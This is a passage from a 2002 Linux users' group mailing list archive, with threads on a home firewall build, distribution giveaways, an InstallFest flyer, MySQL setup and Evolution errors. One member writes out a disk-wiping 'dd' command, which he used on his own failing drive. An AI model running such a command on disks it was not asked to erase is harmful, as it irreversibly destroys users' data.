that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > > > Parents Wintendo Box > > > > / > > > > Internet--qwest gateway box--4 port hub--[ > > > > \ > > > > 8 > > port hub--My main box > > > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > > > ________________________________________________ > > > > See > > http://PLUG.phoenix.az.us/navigator-mail.shtml if > > your mail doesn't post to the list quickly and you > > use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:25:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Wed, 5 Jun 2002 23:25:52 -0700 Subject: Random stuff to give away Message-ID: <200206052325.52735@granroth.org> I have the following list of random distributions and stuff that I no longer use. If anybody wants it, they can have it. Perhaps some of it could be used for the InstallFest? Or door prizes? Or whatever... All the distributions are the retail boxed versions (no "download" or "gpled" ones). They all come with all necessary CDs, boot disks (and DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless noted) may or may not have all the stickers and tie tacks and the like. I don't think I'll be making any meetings any time soon so if you want any of this, you'll have to stop on by my house and pick 'em up. Give me a private email for directions. ----------------------------------------------------------------------- Red Hat Linux 6.0 Red Hat Linux 6.1 Deluxe Red Hat Linux 6.2 Deluxe Red Hat Linux 7.0 Standard SuSE 6.2 [1] SuSE 6.3 (Missing CD1 -- am looking for it now) SuSE 6.4 German [2] SuSE 7.0 Professional SuSE 7.1 Professional [3] SuSE 7.1 Professional SuSE 7.2 Professional Debian 2.1 Boxed Set [4] Storm Linux 2000 [5] Mandrake Linux 7.1 Essential Caldera OpenLinux 2.3 [6] KDE 2.0 Development Book (4 copies) [7] [1] Also includes a full set of the German CDs which come with the crypto packages (ssh, pgp, etc). The US CDs did not, back then [2] This is the German version. All the CDs installation is in English but the docs are all in German. [3] This is like new! I opened it once but never used it. It includes everything. [4] This is the boxed set that VA Linux and SGI were distributing awhile back. Even if you don't use the CD, the included O'Reilly "Learning Debian GNU/Linux" book(!) (and Debian quick-start booklet and Debian bumper sticker) make this worth having. [5] I got this at a show but never even opened it (no spare boxes). It's a Debian based system with a graphical installation. Looks slick but Storm has since gone out of business. [6] Older, but was first distro to come with Partition Magic and a full graphical installation. [7] This is *the* "how to develop KDE applications" book. Most of it applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:56:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 5 Jun 2002 23:56:14 -0700 Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <200206052356.21652.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 20:06, Yicheng Li wrote: > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? Although I haven't tried the other software, I used to use VideoLAN (videolan.org) for playing DVDs. I know I used it for encrypted DVDs, but I no longer see any mention of that, so perhaps the feature was removed? - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/weSpNoctRtUIRQRAjJlAJ9ARKxYSftI2yDycCxzNVXXsov0uQCfUUkM XzUT+kxlXsRCu3GfdeYiu1k= =rdgK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:03:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Wed, 5 Jun 2002 23:03:35 -0700 Subject: Who are the sponsors? In-Reply-To: References: Message-ID: <200206052303.35268.alandd@mindspring.com> That would be me. I have asked them about it but had no solid response. I will jog them again. Alan On Wednesday 05 June 2002 10:32 pm, Matt Alexander wrote: > I wonder if Intel would be willing to help out? Especially since they're > giving a presentation to the PLUG next week... > Could whoever is in contact with them for their presentation ask them if > they'd like to be involved in the InstallFest? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 08:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 01:41:06 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <20020606014106.243d55c9.snoogans@qwest.net> Okay after trying to set this up i failed ... If i brought this box and all the applicable information into the installfest would someone be able to help me set it up? On Wed, 5 Jun 2002 18:36:27 -0700 "robert jorgenson" wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:19:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 6 Jun 2002 02:19:15 -0700 (MST) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: Am 06. Jun, 2002 schwätzte robert jorgenson so: > Okay after trying to set this up i failed ... If i brought this box and > all the applicable information into the installfest would someone be able > to help me set it up? certainly. ciao, der.hans -- # https://www.LuftHans.com/ # Don't step in front of speeding cars, don't eat explosives # and don't use m$ LookOut :). - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:33:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 6 Jun 2002 02:33:02 -0700 (PDT) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: <20020606093302.38647.qmail@web13907.mail.yahoo.com> I do have a cd for it, I will also put the installation manual on the cd for reference and bring it to the installfest. I am sure something can be figured out. Can you install a cd-rom just for the installation. I have one laying around that I could bring. mike --- robert jorgenson wrote: > Okay after trying to set this up i failed ... If i > brought this box and all the applicable information > into the installfest would someone be able to help > me set it up? > > > On Wed, 5 Jun 2002 18:36:27 -0700 > "robert jorgenson" wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port > hub--My main box > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 11:47:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 04:47:43 -0700 Subject: firewall In-Reply-To: <20020606093302.38647.qmail@web13907.mail.yahoo.com> References: <20020606014106.243d55c9.snoogans@qwest.net> <20020606093302.38647.qmail@web13907.mail.yahoo.com> Message-ID: <20020606044743.41a758fb.snoogans@qwest.net> After soem testing it looks like my HD is fried, booted from a couple of debian install disks and tried to format the disk clean and got a ton of IO errors =/ i tried dd if=/dev/zero of=/dev/hda on it and it gave the same error with 1 in and 0 out. Ill prolly have to stop by that computer swap mart to try and find something affordable for it. Anyone know about how much a small hard drive would cost or have one lying around they can sell? On Thu, 6 Jun 2002 02:33:02 -0700 (PDT) "MCR" wrote: > I do have a cd for it, I will also put the > installation manual on the cd for reference and bring > it to the installfest. I am sure something can be > figured out. Can you install a cd-rom just for the > installation. I have one laying around that I could > bring. > > mike > > > > > --- robert jorgenson wrote: > > Okay after trying to set this up i failed ... If i > > brought this box and all the applicable information > > into the installfest would someone be able to help > > me set it up? > > > > > > On Wed, 5 Jun 2002 18:36:27 -0700 > > "robert jorgenson" wrote: > > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port > > hub--My main box > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Thu, 6 Jun 2002 06:51:11 -0700 Subject: flyer In-Reply-To: <02060605483917.00730@nova.wedge.org> References: <02060605483917.00730@nova.wedge.org> Message-ID: <200206060651.11750.dennisk@sahuaro.f2s.com> A couple of comments on the flyer. I think of advertising in terms of how it would work as a billboard along the freeway. While driving I've got about 3 seconds to take in the message, if the ad doesn't present the key points in that length of time it fails for me. The old advertising adage "Don't write, telegraph!" applies. With that in mind, I'd make the following changes. 1. Use a simpler, bold type face for the headline (Helvetica always works). It will increase the readability and credibility of the ad. 2. Think about replacing GNU/Linux with Linux in the headline to increase readability. People have hear of Linux, but will be confused by GNU/. We can educate them later. 3. Follow the headline with when and where the event is taking place. If all a person remembers from glancing at the flyer is Linux - June 22nd - SCC. The flyer will have done it's job. If there is room put the campus map at the bottom with the Student Center marked. 4. Think about making the graphics smaller than the headline. Seeing the gnu and penguin first, most people will think "animal event" not "computer event" 5. Place a phone number in large bold type at the bottom that people can call for more info. They will jot it down. 6. I think there needs to be more emphasis on the fact that the event is free. Replace "Free and Open to All" with something like "Free Linux Installation Help" This will tell people what the event is about and that there is no charge . Use the word "free" prominently elsewhere in the ad. We can educate them about Free later. 7. Look at the overall wording of the ad and think "Don't write, telegraph!" Rewrite as needed. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:53:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 06:53:22 -0700 Subject: OO Rocks Message-ID: <02060606532218.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have installed Open Office on both my Linux box and my wife's Windows 98 box. She works for Wendy's and occasionally gets email from corporate that contains .doc and .xls files. With OO, she has no problem reading, modifying, and printing the documents at a heck of a lower cost than using MS Office. Kudos to the Open Office team for doing a great job. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP9pUysk3ywszI1FEQImRACferdTkaRv++yCQd+h06IkIEs26A0AnjrH 5CvuzxfsrBag/A7r8rCCgwKJ =Ur4e -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 06 Jun 2002 06:54:35 -0700 Subject: mysqld Message-ID: <1023371676.4787.3.camel@barney.azapple.com> dummy me - I started the mysqld without a password and now I can't log in to make changes and set up users. How can I log in without a password? It won't let me log in without a password but there never was any - it's a new installation. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 14:34:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 6 Jun 2002 07:34:58 -0700 (MST) Subject: mysqld In-Reply-To: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: According to my reference, 'PHP and MySQL Web Development', after making and installing mysql: # scripts/mysql_install_db # cd /usr/local/mysql/bin # ./safe_mysqld & # ./mysqladmin - u root password 'new-password' You may have to kill mysqld, or you might get a way with just the last command to set the root password- it's been a while since I installed mysql but these are the steps took. On 6 Jun 2002, Craig White wrote: > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 15:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 08:30:02 -0700 Subject: Flyer rewrite Message-ID: <1023377401.3cff7ffa0486b@webmail.freedom2surf.net> On the bus going to work this morning I did a quick rewrite of the flyer text. Here it is. . . Linux InstallFest June 22nd, 10 a.m. - 4 p.m. Scottsdale Community College Free Linux Installation Help The Phoenix Linux Users Group and Scottsdale Community College present an opportunity for you to learn more about the GNU/Linux operating system - the freely available, secure operating system that runs on ordinary personal computers. Find out why: * Linux offers more freedom and security than your present operating system * Is considered by computer experts the next development in operating systems * Major governments and companies like IBM, HP, Sun, DreamWorks, and Dell are excited about Linux and are using it in their business. * Protects your freedom from software obsolesce and being locked into increasingly higher upgrade costs PLUG members will be available to answer your questions and demonstrate what Linux can do for you. Bring your computer and a PLUG expert will help you install Linux along side your current operating system for free. This is a free event sponsored by PLUG, Scottsdale Comunnity College along with Red Hat Linux, Yellow Dog Linux, TurboLinux, SuSE Linux. For more information please call PLUG member Bill Lindley at 480-947-6100 or visit the PLUG website. --------- Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 16:07:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 09:07:21 -0700 Subject: mozilla 1.0 Message-ID: <200206060907.21182.zen2now@qwest.net> good morning all, i just installed mozilla 1.0 from rpm's which i downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am running KDE 3.0, mozilla seems to run fine but now when i try to open Evolution i get these warnings: [xxx@xxx xxx]$ evolution evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Addressbook_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Addressbook_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Mail_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Mail_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Calendar_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Calendar_ShellComponent evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: 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Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' I have done the google search, but have come up empty handed. anyone have any suggestions for a possible fix? BTW i am running evolution-1.0.3-4. slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:49:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 10:49:51 -0700 Subject: mozilla 1.0 In-Reply-To: <200206060907.21182.zen2now@qwest.net> References: <200206060907.21182.zen2now@qwest.net> Message-ID: <200206061049.51343.zen2now@qwest.net> forget it, problem resolved. slr On Thursday 06 June 2002 09:07 am, slr wrote: > good morning all, > > i just installed mozilla 1.0 from rpm's which i > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > running KDE 3.0, mozilla seems to run fine but now when i try to open > Evolution i get these warnings: > > [xxx@xxx xxx]$ evolution > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Mail_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: 